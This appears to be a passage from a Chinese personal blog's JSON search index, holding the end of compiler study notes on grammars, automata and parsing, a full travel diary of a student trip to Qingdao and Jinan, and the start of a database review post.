跳转表等分析技术。\u003c/p\u003e\u003chr\u003e\u003cp\u003e学到一半的感受是,对于三型文法和二型文法,都有适合他们的识别对应语言的自动机模型。理解这两种文法的识别方法,可以从理解这两种语言的自动机模型开始着手。\u003c/p\u003e\u003cp\u003e另外二型文法对于大多数语言来说确实够用了,一般语言识别最大的问题就是语言结构的嵌套问题,这部分理解了PDA的下推栈之后就能自己动手写出来一些简单的parser了。\u003c/p\u003e\u003cp\u003e语义识别的部分一般是在语法树上的非叶子节点附加操作,以及借助符号表等工具来完成。在完成这部分之后,编译器的前端部分基本就完成了。这时,可以结束开发,转而编写解释器;或者为了追求性能,继续编写以各个平台的处理器为目标产物的编译器。\u003c/p\u003e\u003cp\u003e编译器部分,会涉及到内存分配,链接器,地址回填等操作,算是细节很多,非常偏重实践和工业界的东西。特别是很多优化可以在体系结构无关的三地址\u0026#x2F;四地址码,以及机器相关的机器码级别完成。优化是一个NP问题,可以一直做下去。近两年也有在优化环节引入AI来进行编译优化的工作。\u003c/p\u003e\u003ch2 id=\"词法分析,状态机与正则表达式\"\u003e\u003ca href=\"#词法分析,状态机与正则表达式\" class=\"headerlink\" title=\"词法分析,状态机与正则表达式\"\u003e\u003c/a\u003e词法分析,状态机与正则表达式\u003c/h2\u003e\u003cp\u003e词法分析是读取输入字符流,并将它转换为\u003c/p\u003e\u003cul\u003e\u003cli\u003e字母表 元素构成的集合\u003c/li\u003e\u003cli\u003e符号 构成字母表的元素。例如a,b,c是符号\u003c/li\u003e\u003cli\u003e符号串 符号的有穷序列。例如symbol。空符号串记作$\\epsilon$\u003c/li\u003e\u003cli\u003e符号串长度 包含符号的个数。例如x\u0026#x3D;string,则有|x|\u0026#x3D;6\u003c/li\u003e\u003cli\u003e符号串连接 xy表示这两个符号串连接\u003c/li\u003e\u003cli\u003e符号串集合的乘积 AB\u0026#x3D;{xy|x∈A,y∈B}\u003c/li\u003e\u003cli\u003e符号串的幂运算 同一个符号串的自我连接\u003c/li\u003e\u003cli\u003e符号串集合的幂运算 符号串集合的自我乘积\u003c/li\u003e\u003cli\u003e符号串集合的正闭包 是集合1到n次幂的并集\u003c/li\u003e\u003cli\u003e自反闭包 正闭包和空串集合的并集\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e通过离散数学的语言描述正则语言。\u003c/p\u003e\u003ch2 id=\"文法及其分类\"\u003e\u003ca href=\"#文法及其分类\" class=\"headerlink\" title=\"文法及其分类\"\u003e\u003c/a\u003e文法及其分类\u003c/h2\u003e\u003ch3 id=\"简介\"\u003e\u003ca href=\"#简介\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cul\u003e\u003cli\u003e编译流程:词法分析,语法分析,语义分析,中间代码生成,中间代码优化,目标代码生成六步。\u003c/li\u003e\u003cli\u003e编译程序结构:包含上面6个步骤的对应程序,以及表格处理程序,出错处理程序。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e按照前后端划分,前面5个步骤属于前端,最后一个步骤属于后端,因为它依赖于特定计算机硬件系统和机器指令。\u003c/p\u003e\u003cp\u003e同时,编译过程也可以分为一遍和多遍。\u003c/p\u003e\u003cp\u003e高级语言的自编译性(自举):允许这个语言为它自己编写编译器。自展技术可以实现这一点:它把语言分为一个核心部分和数个扩充部分。用机器语言实现核心,再用核心实现扩展功能。\u003c/p\u003e\u003cul\u003e\u003cli\u003e编译器移植:改后端为目标机器后端生成器,然后编译生成A上运行的B编译器,再用它编译自己,就得到了B上可用的编译器。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e翻译程序编写系统,是编译器\u0026#x2F;翻译器的开发工具。它也曾被称为自动程序设计系统,这一概念包含规格说明,目标语言,问题范围和采用方法等。采用方法包括\u003cstrong\u003e知识工程\u003c/strong\u003e等。\u003c/p\u003e\u003ch3 id=\"文法分类\"\u003e\u003ca href=\"#文法分类\" class=\"headerlink\" title=\"文法分类\"\u003e\u003c/a\u003e文法分类\u003c/h3\u003e\u003cp\u003e根据Chomsky文法分类,可以得到0,1,2,3型文法。数字越大越宽松:\u003c/p\u003e\u003cul\u003e\u003cli\u003e0:每个产生式的左部和右部都包含于N和T全并集的闭包中,且至少有一个非终结符\u003c/li\u003e\u003cli\u003e1(上下文有关语言CSG):除了空产生式,均有左侧小于等于右侧\u003c/li\u003e\u003cli\u003e2(上下文无关语言CFG):产生式左部只能是非终结符\u003c/li\u003e\u003cli\u003e3(正规语言RG):产生式右部的非终结符统一出现在最左端\u0026#x2F;最右端\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e越强的语法(编号越小)的自动机越难构造。程序设计语言大多是CSG,但是我们一般用CFG描述程序设计语言,将上下文有关的部分单独分离为语义分析的部分。\u003c/p\u003e\u003ch2 id=\"语法分析\"\u003e\u003ca href=\"#语法分析\" class=\"headerlink\" title=\"语法分析\"\u003e\u003c/a\u003e语法分析\u003c/h2\u003e\u003cp\u003e语法分析相比词法分析使用的有穷自动机NDFA\u0026#x2F;DFA,它使用下推自动机。这种自动机模型更强一些,有部分计数功能。\u003c/p\u003e\u003ch3 id=\"下推自动机\"\u003e\u003ca href=\"#下推自动机\" class=\"headerlink\" title=\"下推自动机\"\u003e\u003c/a\u003e下推自动机\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e自动机原型是图灵机。其核心模型是状态转换和状态修改。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e在有限状态控制器上添加了一个信息\u0026#x2F;状态保存栈。因此,它有简单的计数能力。\u003c/p\u003e\u003cp\u003e下推自动机的原理实际上就是给DFA增加了一个数据栈。形式化地说,接受三型文法的DFA的形式化定义如下:\u003c/p\u003e\u003cp\u003e$$\u003cbr\u003eDFA A \u0026#x3D; A(Q, \\Sigma, \\delta, q_0, F)\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e其中:\u003c/p\u003e\u003cul\u003e\u003cli\u003e$Q$:状态的\u003cstrong\u003e有穷\u003c/strong\u003e集合\u003c/li\u003e\u003cli\u003e$\\Sigma$:输入符号的有穷集合\u003c/li\u003e\u003cli\u003e$\\delta$:转移函数$\\delta(q, a)$\u003c/li\u003e\u003cli\u003e$q_0$:自动机的初始状态\u003c/li\u003e\u003cli\u003e$F$:自动机接受状态\u0026#x2F;终结状态的集合\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e那么,下推自动机PushDown Automation的形式化定义就是:\u003c/p\u003e\u003cp\u003e$$\u003cbr\u003ePDA P \u0026#x3D; P(Q, \\Sigma, \\Gamma, \\delta, q_0, Z_0, F)\u003cbr\u003e$$\u003c/p\u003e\u003cp\u003e其中:\u003c/p\u003e\u003cul\u003e\u003cli\u003e$Q$:状态的\u003cstrong\u003e有穷\u003c/strong\u003e集合\u003c/li\u003e\u003cli\u003e$\\Sigma$:输入符号的有穷集合\u003c/li\u003e\u003cli\u003e$\\Gamma$:有限的堆栈字符表\u003c/li\u003e\u003cli\u003e$\\delta$:转移函数,是三元函数$\\delta(q, a, X)$,三个变量分别是$Q$中的状态,$\\Sigma$中的输入符号或者空串$\\epsilon$,$\\Gamma$中的堆栈符号\u003c/li\u003e\u003cli\u003e$q_0$:自动机的初始状态\u003c/li\u003e\u003cli\u003e$Z_0$:自动机堆栈的初始符号\u003c/li\u003e\u003cli\u003e$F$:自动机接受状态\u0026#x2F;终结状态的集合\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"语法分析方法\"\u003e\u003ca href=\"#语法分析方法\" class=\"headerlink\" title=\"语法分析方法\"\u003e\u003c/a\u003e语法分析方法\u003c/h3\u003e\u003ch4 id=\"自上而下语法分析\"\u003e\u003ca href=\"#自上而下语法分析\" class=\"headerlink\" title=\"自上而下语法分析\"\u003e\u003c/a\u003e自上而下语法分析\u003c/h4\u003e\u003cp\u003e简单的说,就是不断选取产生式,尝试从根节点推导出和当前串$w$匹配的串。\u003c/p\u003e\u003cp\u003e从语法树的根到叶去建立语法树。步骤是试探+回溯,边推导边匹配。对输入序列,使用产生式进行最左推导,直到得到一个合法句子\u0026#x2F;非法结构。随后从左到右扫描输入序列,自上而下建立语法树。\u003c/p\u003e\u003cp\u003e最大的问题是左递归,即非终结符同时出现在左部和右部左侧,会造成死循环。消除方法为引入新的非终结符进行同义转化。\u003cstrong\u003e直接消除左递归\u003c/strong\u003e的方法可以使用通用的算法进行解决。\u003c/p\u003e\u003cp\u003e另一个问题是消除文法二义性。直接的消除方法不适用于自上而下分析方法。\u003c/p\u003e\u003cp\u003e还有一个问题是公共前缀的提取。该行为能有效优化选择速度,提升性能和错误恢复能力。方法是引入新的非终结符来表示公共前缀的推导,再改写原来的产生式。\u003c/p\u003e\u003ch4 id=\"自下而上语法分析\"\u003e\u003ca href=\"#自下而上语法分析\" class=\"headerlink\" title=\"自下而上语法分析\"\u003e\u003c/a\u003e自下而上语法分析\u003c/h4\u003e\u003cp\u003e简而言之就是,从串$w$着手,不断在其中寻找能用产生式规约的部分,并不断地进行规约操作。\u003c/p\u003e\u003cp\u003e下面是GPT的介绍:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e自下而上语法分析(bottom-up parsing)是一种从输入的最底层符号开始,逐步构造出高层结构的语法分析方法。它的目标是通过合并输入符号和中间结果,最终构造出整个输入的语法树。LR分析器是自下而上语法分析的典型代表之一。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e我们用一个简单的例子来说明自下而上语法分析的过程。假设我们有以下的语法规则:\u003c/p\u003e\u003col\u003e\u003cli\u003eS → AB\u003c/li\u003e\u003cli\u003eA → a\u003c/li\u003e\u003cli\u003eB → b\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e这里,S、A、B 是非终结符,a、b 是终结符。我们的输入字符串是 “ab”。\u003c/p\u003e\u003cp\u003e我们从输入字符串的第一个符号开始,将每个符号视为一个单独的子树:\u003c/p\u003e\u003cp\u003e初始状态:输入字符串 “ab” 被表示为 [a, b]。\u003c/p\u003e\u003col\u003e\u003cli\u003e匹配并规约第一部分\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e我们检查字符串并尝试应用规则 A → a。\u003c/p\u003e\u003cul\u003e\u003cli\u003e输入字符串中第一个符号是 a,符合规则 A → a。\u003c/li\u003e\u003cli\u003e我们将 a 规约为 A。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e此时,输入状态变为 [A, b]。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e匹配并规约第二部分\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e接下来,我们检查字符串并尝试应用规则 B → b。\u003c/p\u003e\u003cul\u003e\u003cli\u003e输入字符串中第二个符号是 b,符合规则 B → b。\u003c/li\u003e\u003cli\u003e我们将 b 规约为 B。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e此时,输入状态变为 [A, B]。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e匹配并规约整个字符串\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e现在,我们尝试应用规则 S → AB。\u003c/p\u003e\u003cul\u003e\u003cli\u003e当前输入状态是 [A, B],符合规则 S → AB。\u003c/li\u003e\u003cli\u003e我们将 [A, B] 规约为 S。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e此时,输入状态变为 [S]。\u003c/p\u003e\u003cp\u003e此时,输入字符串已被规约为 S,表示输入字符串 “ab” 是该语法的一个有效句子。\u003c/p\u003e\u003cp\u003e根据上述规约过程,我们可以构造出对应的语法树:\u003c/p\u003e\u003cfigure class=\"highlight css\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e S\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e / \\\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"selector-tag\"\u003eA\u003c/span\u003e \u003cspan class=\"selector-tag\"\u003eB\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e / \\\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"selector-tag\"\u003ea\u003c/span\u003e \u003cspan class=\"selector-tag\"\u003eb\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e有几种基于自上而下的识别方法,比如LALR和SLR。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2024/01/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/compiler-note/"},{"title":"青岛之行","time":"2024-01-18T05:53:51Z","content":"(*/ω\*)\u003chr /\u003e\u003ch2 id=\"第0天-西安市长安区\"\u003e\u003ca href=\"#第0天-西安市长安区\" class=\"headerlink\" title=\"第0天-西安市长安区\"\u003e\u003c/a\u003e第0天-西安市长安区\u003c/h2\u003e\u003cp\u003e这个考试月是真能破人的防,所以哥们考完试直接开润,好好抚慰以一下难绷的心智。跟哥们合计了一下,寻思着\u003cdel\u003e去码头整点薯条\u003c/del\u003e然后就有了去青岛溜达一圈的打算。\u003c/p\u003e\u003cp\u003e现在是1.18,早上随便叼个面包,拉着箱子就走了。今天早上西安的雾气挺大的,走的时候大概9点,门口不少拉箱子回家的大学生,看了一眼感觉不少大三老东西,还有一些大一大二一看就没在校门口坐过公交的。\u003c/p\u003e\u003cp\u003e时间过得真快啊,还没多久就只剩一年半了。\u003c/p\u003e\u003cp\u003e抛开有的没的,到站下车转地铁,6倒2到北站等火车。以及再次,西安北站真tm大。\u003c/p\u003e\u003cp\u003e顺利和彦汇合上,俩人就坐下来开始侃大山,路上风景倒是不错。刚开始计划的路线里边是经过郑州的,不过后来换了D1672然后就不走那边了,现在的路线是西安-\u0026gt;太原-\u0026gt;石家庄-\u0026gt;德州-\u0026gt;济南-\u0026gt;青岛。全程从11点到晚上9点,车程比较长。\u003c/p\u003e\u003cp\u003e在动车上跟哥们干了各种事消磨时间:看时间,聊二次元等等等等,\u003cdel\u003e听得我都想入坑ba了\u003c/del\u003e。\u003c/p\u003e\u003cp\u003e下了车之后直接进了地铁站,七拐八拐到了酒店。这边地铁修的比较新,所以装潢还挺新的。\u003c/p\u003e\u003cp\u003e出了站之后走了点路就到了酒店。俩人一进酒店就开始开香槟,30块一晚上是这住宿条件:\u003c/p\u003e\u003cp\u003e更香槟开爆的一集:30多跟哥们恰烧烤外卖恰到撑。老陕震撼.jpg,这边伙食是真不戳。\u003c/p\u003e\u003cp\u003e就是晚上1点多给另一个哥们写代码到早上3点有点难绷\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e彦:熬夜别似我旁边\u003cbr\u003e我:无所谓我收入高\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"第1天-青岛海军博物馆-amp-杂七杂八\"\u003e\u003ca href=\"#第1天-青岛海军博物馆-amp-杂七杂八\" class=\"headerlink\" title=\"第1天-青岛海军博物馆\u0026amp;杂七杂八\"\u003e\u003c/a\u003e第1天-青岛海军博物馆\u0026amp;杂七杂八\u003c/h2\u003e\u003cp\u003e第二天\u003cdel\u003e起了个大早\u003c/del\u003e九点准时起床,身体好像已经习惯六小时睡眠了。简单收拾之后就准备出发去看看船了。放6年前彦估计更兴奋,毕竟他玩碧蓝航线。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e哎,泛二刺螈。哦,他现在玩Blue Archive。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e笑死,早起根本没用。俩人还是差点迟了。最骚的操作是我们发现时间可能赶不上然后俩啥必退票准备换时间,然后发现别的时间都满了。\u003c/p\u003e\u003cp\u003etmd吓个半死,赶紧给重新定回那个时间。俩人跟俩萝卜一样,一人一个坑给剩下俩位置占满了。\u003c/p\u003e\u003cp\u003e不管时间是不是来不及,俩人开始往过疯狂冲刺。趁着上车的间隙,算了一下时间,刚好剩了3分钟,所幸最后没迟到。\u003c/p\u003e\u003cp\u003e路上路过一片小区,人建筑风格特别欧式,一度以为是殖民地残留,被哥们吐槽了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e彦:你这得让青岛人笑话死\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e赶时间所以没想到啥吐槽。穿过博物馆大厅,从扶梯下去,就是海边了。大厅后边就是黄海的海岸线了,码头停了不少待参观的船,潜艇,还有\u003cdel\u003e来码头整点薯条的\u003c/del\u003e海鸥,不过这会的我显然还没有意识到青岛的海风自带湿冷的魔法攻击。\u003c/p\u003e\u003cp\u003e没顾得上拍照,赶紧跟着哥们跑去核潜艇参观区域。俩人兴冲冲跟着引导员走到潜艇入口,准备从入口进去。不过刚进去入口的时候我就觉得不对劲了:被狠狠磕了一下脑袋。然后我才注意到,这潜艇里边的环境是真tm狭小。里边是不允许拍照的,所以这部分没有图图。很震撼,有种纯粹工业风的美感,而且还能看到生产日期跟自己爸妈一个年龄的各种粗扩庞大\u003cdel\u003e不知道能干啥\u003c/del\u003e不可名状的巨大机械\u0026#x2F;管道,元素相当丰富。整体而言,环境相当压抑。居住区空间极小,而且是两层乃至三层的卧铺,躺床上只能看到压抑的上铺床板。更离谱的是,各个区域之间的连通通道不是门结构,而是环状圆盘盖子结构。想了半天,原因可能是为了进一步保证气密\u0026#x2F;作为一种空间隔断手段而使用,以至于人过去是要钻过去的——我自己身高1米8多,已经不是脑袋磕的疼不疼的问题了,那是我弯腰过去会被卡在门上的问题。不过也能理解,毕竟从外边看体积本来就小,里边的空间更是寸土寸金。另外还看到唯一一个很大的房子,俺猜测应该是船长\u0026#x2F;政委的?另外就是这个核动力潜艇很明显属于那种过于落后可以展示的那种,现在的潜艇长啥样子我根本不敢想象。以及这玩意的制造时间也跟我印象里边那会还在为造拖拉机发愁的轻工业为主的年代严重不符——现在回望那会的前辈,相当厉害。快60年前的东西,都能带给我如此巨大的震撼。这种旧时代的堪称疯狂的造物是我非常喜爱的,因为这背后是一个集体倾尽全力所能创造的工程学奇迹。其他宏伟的古早人工造物,比如早些时代的防空洞,那些旧时代的大型工厂,都是我的偏爱。\u003c/p\u003e\u003cp\u003e就是里边一些现代化电子设备比较出戏。我甚至还看到一个生产日期挺新的电风扇。\u003c/p\u003e\u003cp\u003e另外一点我想展开说的就是,重工业风。生活中很难见到特别粗的管道,这边有,而且尺寸范围相当大。但是你放工厂我会欣赏,放正常过道两边甚至头顶,盖得你看不到一个平整的仓壁,那就是幽闭恐惧症级别的地狱绘图了。墙上和地上,不是覆盖着,那几乎是管道和数量巨大的阀门、仪表拼接而成,被挤压的只剩下常人几乎不可能迅速通过的极度不规则的逼仄空间。另外我找了半天愣是没找到一个窗户,在这种暗无天日的地方关上不知道多久,一般人在这种地方肯定会疯。而且,潜艇的战略地位,也昭示着潜艇兵的命运:不存在侥幸,深海出故障的情况下,只有死亡这一既定而缓慢但恒定到来的命运。现代核潜艇更是战略级别的威慑,他们所面对的任何一种情况都是极度恐怖的。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e彦:这地方你待上没几天就幽闭恐惧症了\u003cbr\u003e我:难怪人补贴空军之下第一档呢,这我是真服\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e最逆天的地方来了。俩人参观完核动力部分,在看主电机的时候,里边照明电路突然断电了。以潜艇的封闭程度,一瞬间里边就陷入一片死黑。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e我:啊?\u003cbr\u003e彦:啊??\u003cbr\u003e我:啊???\u003cbr\u003e彦:啊????\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e所幸,大概十几秒后供电又恢复力。不过这一段时间对我来说长如极夜。那一刻俩啥必都以为自己要被关里头了,怂的跟受惊的兔子似的。应该是拉闸老大爷听到我俩动静了,又上电问里边有人没。俩人赶紧从出口窜出去了。\u003c/p\u003e\u003cp\u003e最哈人的一集。\u003c/p\u003e\u003cp\u003e出去之后俩人缓了会,然后上旁边开始今天的观景了。\u003c/p\u003e\u003cp\u003e首先是济南舰,最后是长江舰。中间回去休息了一下,看到底下一架遮住的飞机,还惊喜了半天。彦不屑一顾,我诧异半天才想起来人是瓜,啊不,三航爷。\u003c/p\u003e\u003cp\u003e下午拍了一组片子,顺便跟他玩了玩胶片机之后,俩人就出来去信号山旁边一个小地方恰了饭。28一份的土豆牛肉盖饭,好贵……不过胜在离景点近。可惜的是那会德国监狱旧址已经关门了,俩人就去爬旁边信号山了。有一说一,上边视野不错,也出了不少很满意的片。\u003c/p\u003e\u003cp\u003e最给力的是这俩老鸽:\u003c/p\u003e\u003cp\u003e亮灯之后拍了不少,遗憾的是树杈子太挡视野了,不太好出片。以及某人痛定思痛决定回头整个脚架。不过那边有不少望远镜,挺稳的,就是要扫码才能用。所以俩人直接用这玩意当脚架平替了。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e彦:纯,太纯了(陶醉\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e之后俩人坐地铁打算去那家甜甜烧烤,可惜让百度地图坑了一回,从台北街道绕了一圈到人旧址了。找到之后发现人就在起点附近。更离谱的是进去只有一个空座,上二楼发现没位置结果下来一楼也满了。红温了.jpg\u003c/p\u003e\u003cp\u003e没办法,刚好也晚了,在旁边步行街吃了点小吃,坐地铁回宾馆旁边那家烧烤。线上挺好吃的,线下也可以,不过人店面似乎主营是外卖。但是实惠和味道上没让我失望,啤酒上没让我哥们失望。\u003c/p\u003e\u003cp\u003e干完饭,回酒店睡觉。替哥们负重前行了一天,倒头就睡。\u003c/p\u003e\u003ch2 id=\"第2天-麦岛,栈桥,海鸥和薯条,以及代码\"\u003e\u003ca href=\"#第2天-麦岛,栈桥,海鸥和薯条,以及代码\" class=\"headerlink\" title=\"第2天-麦岛,栈桥,海鸥和薯条,以及代码\"\u003e\u003c/a\u003e第2天-麦岛,栈桥,海鸥和薯条,以及代码\u003c/h2\u003e\u003cp\u003e早上看天气预报,这边要下雪,感觉今天天气可能会有点糟……不过好在出去之后倒是没雪。这边天气这几天是冷锋过境,属于是变天如变脸的程度。\u003c/p\u003e\u003cp\u003e这一天睡到了自然醒。\u003cdel\u003e早上\u003c/del\u003e中午步行麦岛,被海风吹傻了。不过出片很多。早上一早上在宾馆写代码……至于为啥,合作项目快到ddl了。不过好在早上没出去,风大的虾仁。午饭是张亮麻辣烫和古茗,味道确实可以就是挺贵。\u003c/p\u003e\u003cp\u003e2点到麦岛,吹海风到3,4点。打车去栈桥\u003cdel\u003e捉\u003c/del\u003e喂了半天海鸥,哥们的Z50直接ISO爆炸了。6点左右俩人走着上了栈桥溜了个来回,海中间的亭子,别有景致。\u003c/p\u003e\u003cp\u003e步行到教堂,哥特式建筑美感别具一格,感觉薄纱半道的安妮小屋。另,青岛的地名好像真是按照全国省份起名的。\u003c/p\u003e\u003cp\u003e拐下去,在K和M的中门对决中选了M。\u003c/p\u003e\u003cp\u003e然后是1号线,体验了一把6分钟跨海,可惜啥都看不到,就是噪音特大。\u003c/p\u003e\u003cp\u003e看了中石油大学。石油的爷才是爷!\u003c/p\u003e\u003cp\u003e然后1号线回台东,路上为了我和另一个哥们的ddl疯狂写代码。居然在手机上搞定了。他也从他导师的侧目微笑里边解脱了。这期间哥们\u003cdel\u003e遛\u003c/del\u003e牵着我逛了这边一个步行街,规模意外的不太大。尝了下青岛啤酒原浆,苦的,喝不懂。给哥们解决了。\u003c/p\u003e\u003cp\u003e俩人开始乱逛,跑奥体对面五四广场乱逛听涛。\u003c/p\u003e\u003cp\u003e打车回宾馆了。洗漱+计划了下行程:济南\u0026#x2F;淄博,启动!\u003c/p\u003e\u003cp\u003e算了先别启动了,睡觉了。\u003c/p\u003e\u003ch2 id=\"第3天-海鸽子鸥,栈桥,小鱼山,德国领事馆旧址,以及夕阳\"\u003e\u003ca href=\"#第3天-海鸽子鸥,栈桥,小鱼山,德国领事馆旧址,以及夕阳\" class=\"headerlink\" title=\"第3天-海鸽子鸥,栈桥,小鱼山,德国领事馆旧址,以及夕阳\"\u003e\u003c/a\u003e第3天-海\u003cdel\u003e鸽子\u003c/del\u003e鸥,栈桥,小鱼山,德国领事馆旧址,以及夕阳\u003c/h2\u003e\u003cp\u003e这回来青岛最大的成就,就是薅到了\u003cdel\u003e海鸽子\u003c/del\u003e海鸥。昨天\u003c/p\u003e\u003ch2 id=\"第4天-青岛:最澄澈的空与海·太美丽了淄博\"\u003e\u003ca href=\"#第4天-青岛:最澄澈的空与海·太美丽了淄博\" class=\"headerlink\" title=\"第4天-青岛:最澄澈的空与海·太美丽了淄博\"\u003e\u003c/a\u003e第4天-青岛:最澄澈的空与海·太美丽了淄博\u003c/h2\u003e\u003ch2 id=\"第5天-济南-老舍你最好没骗我\"\u003e\u003ca href=\"#第5天-济南-老舍你最好没骗我\" class=\"headerlink\" title=\"第5天-济南-老舍你最好没骗我\"\u003e\u003c/a\u003e第5天-济南-老舍你最好没骗我\u003c/h2\u003e\u003cp\u003emd,跟老舍爆了,俩人冻的要似。\u003c/p\u003e\u003cp\u003e早上9点坐高铁到济南。10点多坐地铁到了宾馆。彦已经困的不行了,遂让他睡了一觉。这酒店条件确实不错,还有厨房。\u003c/p\u003e\u003cp\u003e另外就是济南这边地铁起码是从19年开始修的,这地方东边倒是还行,西边地铁修建难度简直地狱。地下各种复杂的地下水源,断层等等,能有地铁已经很不错了。能看得出来,济南地铁修的很新,而且也符合济南这边的特色:空间辽阔。\u003c/p\u003e\u003cp\u003e中午出发,先去旁边商超里边吃了一顿午饭。好久没吃米饭,俩人就恰了家石锅拌饭。\u003c/p\u003e\u003cp\u003e完事之后,我提出想去浪潮集团总部看看打个卡。毕竟在你电浪潮社也待了三年了,不太远(感觉比国医到你电西门的距离近一些),俩人就走过去了。\u003c/p\u003e\u003cp\u003e另外就是济南地铁\u003c/p\u003e\u003ch2 id=\"第6天-返航-最背刺的一集\"\u003e\u003ca href=\"#第6天-返航-最背刺的一集\" class=\"headerlink\" title=\"第6天-返航-最背刺的一集\"\u003e\u003c/a\u003e第6天-返航-最背刺的一集\u003c/h2\u003e\u003cp\u003e早上早早起来,洗漱了下,俩人出门进地铁站。济南这边地铁修的相当新,虽然条形地铁线路比较难换乘,但是有地铁这一点已经薄纱某些地方了,而且还是直达济南东站的。赢!\u003c/p\u003e\u003cp\u003e最难绷的一集:俩人买票那会发现难买,进站发现人一大群小学生搁那去西安旅游……算是彻底被背刺了。\u003c/p\u003e\u003cp\u003e路上太原开始这段雪景很绝。白色的斑驳成片覆盖在黄色的平原上,在纯蓝天的映射下格外让人有食欲。\u003c/p\u003e\u003cp\u003e遂恰饭点了一顿15元高铁套餐。评价是感觉不如…海棠一楼食堂,但是好tm贵QAQ。\u003c/p\u003e\u003cp\u003e彦这作息跟那啥考拉一样(哎对\u003cdel\u003e配色\u003c/del\u003e穿搭也差不多)又开始睡了。\u003c/p\u003e\u003cp\u003e路上边看地图边看风景……注意到前边过黄河了,俩人扒窗边看了会,发现了最符合天气的一集:黄河整个冻住了。不过就算是冻住了风光也很不错。\u003c/p\u003e\u003cp\u003e另外就是山西太原附近了,风光很有意思,很多谷地,覆上雪景后别有风味。\u003c/p\u003e\u003cp\u003e路上还路过了香汾,小站没太在意。感知最明显的就是天空从山东沿海地区的澄澈逐渐过渡到熟悉的灰蒙蒙的天空——当然风也小了许多。\u003c/p\u003e\u003cp\u003e西安站倒是下去溜达了一圈,气候温和多了。就是听到一点疑似关门的动静后赶紧钻回去车里边了。车门旁边倒是还有人趁着到站抽烟的,人家就比我淡定多了。\u003c/p\u003e\u003cp\u003e之后不久就到站了。温度比沿海地区温和了很多,饱受折磨的俩人一下子放松下来:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e彦:这温度谁拉拉链啊\u003cbr\u003e:笑死,根本不冷\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e不过最后某人还是把拉链拉上了。\u003c/p\u003e\u003cp\u003e俩人混的不错,摇到一个同学开车给我俩接回去了。回去之前几个人一块来搓了一顿\u003cdel\u003emai\u003c/del\u003e麦,已经是穷鬼的我必然是点了一份穷鬼套餐,顺便聊了不少时政\u003cdel\u003e不是怎么每回的保留环节都是政治乐子啊\u003c/del\u003e。另外,宝鸡夜色某种意义上比大明湖强。\u003c/p\u003e\u003chr\u003e\u003cp\u003e坐着同学的车到了家门口,提下箱子,关门,隔着车门和彦挥了挥手\u003c/p\u003e\u003cp\u003e转身,离去。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2024/01/18/%E6%96%87%E5%AD%A6/%E6%B8%B8%E8%AE%B0/trip-to-tsingdao/"},{"title":"数据库复习笔记","time":"2024-01-15T11:17:19Z","content":"(*/ω\*)\u003chr /\u003e\u003cp\u003e这学期学的数据库主要偏向应用,理论部分相对比较少,重点如下:\u003c/p\u003e\u003ch2 id=\"数据库系统概论-大纲\"\u003e\u003ca href=\"#数据库系统概论-大纲\" class=\"headerlink\" title=\"数据库系统概论 大纲\"\u003e\u003c/a\u003e数据库系统概论 